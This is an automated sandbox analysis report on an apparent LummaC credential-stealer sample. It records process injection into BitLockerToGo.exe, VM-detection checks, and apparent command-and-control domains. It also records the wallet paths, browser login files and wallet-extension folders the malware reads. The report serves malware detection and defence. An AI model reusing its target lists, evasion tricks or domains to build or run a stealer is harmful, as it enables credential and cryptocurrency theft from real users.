Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: file.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: file.exe

Static file information: File size 9048064 > 1048576

Source: file.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x3a5e00
Source: file.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x445800

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: file.exe, 00000000.00000002.2354687188.000000C0002EC000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354687188.000000C0001D7000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354687188.000000C000212000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.2342735024.000001E6FBA50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: file.exe, 00000000.00000002.2354687188.000000C0002EC000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354687188.000000C0001D7000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2354687188.000000C000212000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000003.2342735024.000001E6FBA50000.00000004.00001000.00020000.00000000.sdmp

Source: file.exe

Static PE information: section name: .xdata

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_02D31CCA pushfd ; retf

5_2_02D31CD1

Source: C:\Users\user\Desktop\file.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 1768	Thread sleep time: -120000s >= -30000s			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 5388	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: BitLockerToGo.exe, 00000005.00000002.2531924515.0000000002E58000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000002.2531924515.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397981986.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2389056869.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005268000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: file.exe, 00000000.00000002.2355600805.000001E6D4DD8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll6
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: BitLockerToGo.exe, 00000005.00000002.2531924515.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2397981986.0000000002E93000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000005.00000003.2389056869.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWi]
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: BitLockerToGo.exe, 00000005.00000003.2398825174.0000000005263000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 5_2_02D28E70 LdrInitializeThunk,

5_2_02D28E70

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2CF0000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2CF0000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: demonstationfukewko.shop
Source: file.exe, 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: liabilitynighstjsko.shop
Source: file.exe, 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: alcojoldwograpciw.shop
Source: file.exe, 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: incredibleextedwj.shop
Source: file.exe, 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shortsvelventysjo.shop
Source: file.exe, 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shatterbreathepsw.shop
Source: file.exe, 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tolerateilusidjukl.shop
Source: file.exe, 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: productivelookewr.shop

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2CF0000			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: A23008			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\AppReadiness VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7060, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000005.00000002.2531924515.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: file.exe, 00000000.00000003.2265990913.000000C00047C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: MiOoaQbCwVRxfJcnwQBVQAJCvyPEJWQdURbufaRDGZmblicvqTnbSxrEmpUnCeUsCdBQozPJWsYKoPDbfqlRvUUyqDTovvNjNjNfgObhOQpauDXfROlelpGCZbwjEquQcWQEvcVrvDGpPskzeUbJfBLStHUsSLppQlerEymraBpTmKBjzFSsmjNOLLhjsaKVKeiqtVtqzXWRXaOaasQWcgvoUrCyoIUqzMjOTRMvKwZSwfxefwMdekKPxUWUeuMbhPxMRLjAxxPAGobEIWgebEsXDFwewkfpzcTbjpsLgfgTeudESshSsBAFOKkcuYgFpAllqTDnoveNRQFswFIZuZvJtKCKSyDUngBdjHtcPiDnKilFiPAaNVKRuvGszqBFGINNRjzEJOTMRzxwpHoEzUSgxykAAiMfzaJsLVlWYEsjRaozqfPTZLgBVIDXYUCmDbgRlDOUDhpFvRiJPSsUeBKCiPulYlxwnPpuPJgwuRfUVizEoonZdIeBKhZAyPbofZhAnTzaKRyvPTlgJakGGARYzgObaKfrhMAuCxzAIYzdfPluENPWxYLxlTEqYLOujXequKlMGpolehAjiWByAYyUqFQkThkUAkTkQXCuFNKHVVnZLPErEvkqAFonkBlgxjLhbgzSQHYSAeoRyTJiMKOLwEDXRLtCAtaDFpDOzYKaqekuYmRGnFVBcuvNEhMEIFNxIbuVrNlXByBVaqgrhtHNyBTwxrjkhhZpXavggqHMDLLBSobXycBbepMzFMyqrsGRZSZHFCaOlBABvArWmCjkouCQwAPxNtrfeBQrxYYncrnIJAlDcYotukZNLZfKgNCkNkuwUMnDwwswtxaLdfblGfLVGsiHBGJVLJzyrgIYyVoTsipwPiVHZbRhRCMpbgQNGXhTwjatjogFahDekenPfDKttjlDUJfZcqAFJArvNYdPJKtufbZybbIDyTBaBAqDoiHLlGHfxrMUtKGctUSPSYfmQEdJgqGAdGASeTomVVNbuwLyjsgSgSRiVRtMCCjNSKBbhYafAwNqwgOGeguxSiABIqOGeCsebbwpTgZAkEMgpfQvGOeBISjzzzNAaBwCmKullzHxylEWZtoiTtnHfvnMsyKxXBAPECHocecBPtztknmRvDHAFHJIJgmXiTfuwokDizHWWcXTdtcQMUusMaABHAlRDexXrwQwHuPqcTsuAYKhAckRkzmMeAugCDVLUHXglMIgaoSOQfuxZabKTATujJyLFHukiuplYRtFTGYeDPyslRUWxHsHYQZPuuCrONJFsRTJPHmTBVjxtONEvCMhmObYWLfxjyDLkdHEZLNOWkTzyJqVspDYRtrvoovOwbwMtqEokMbGrcyVFpnbAzZmLWBVpFNobuDSjHkanvZgApZNsqoyIhxzEgQnNBsqVOwHyDVMBWOVaVxhsmIEpJOsyEpFihDsCJSRfaEXXZyEpEQcEUHZBVpvJkdwaLTYRaAdzSyLHVWNpuCnvPQXKFvcJpDwVivCugUxTvwEkRoyTioFQYMuOlkoOeLTpkrAknYDZqEIhEiJAOrHUplmjbuUCqIpuuzxhDcBkdkLzAJvIfOyTbPwmSRyjEvUGfnXHAevqiCavEvMuaNFIewCFkabIDbfiBPrhIrXadEclzPADeORWvSvCmLSqEbeISubqqhKhkHHGSmIVfzZHBpezkdumpZOwxyKupxvGWgOEdApBxSxLQqXmsoyvIZwIsWXhOjmFEZGqKgnKPfpdbcILjBKRUTeHuOYCGsZYreTHGijrzYhxqzGauWdeYJSfSIFbjvtOfBnJJyNRaURCXfjFldJjCnLOYblQRYZAuiXiXfauqRbyjPxEFauuzmQEEpyvjOqohxKGhIAJexaqBxdEJrcRvuQgWTeUTmOtzTQJUxDbTALIxmNzokQRmxLmJdXqzJFakQKgeUARerumHNAZKjbbXQBXSUxDFoJXGaPgPxqQVUGCjSAUGLSnIYQxonTRplchwUeUWqzLIIQPXPtWdGfMJAvrcIaFzIBNGydHirTCfeglNNkIoKCyWOrqVRBsphgigTUEDeBYVVPzlizRGdNZNgbzLBLtFahcdymgfqefqlxbjPlEVwtmMWCjrSOisilTaMlllYHBSkgxhDf
Source: BitLockerToGo.exe, 00000005.00000002.2531924515.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000005.00000003.2397981986.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BitLockerToGo.exe, 00000005.00000003.2398752168.0000000002F03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb391
Source: BitLockerToGo.exe, 00000005.00000003.2397981986.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance88+X
Source: BitLockerToGo.exe, 00000005.00000002.2531924515.0000000002E93000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: BitLockerToGo.exe, 00000005.00000003.2470610228.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000005.00000003.2470610228.0000000002EE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
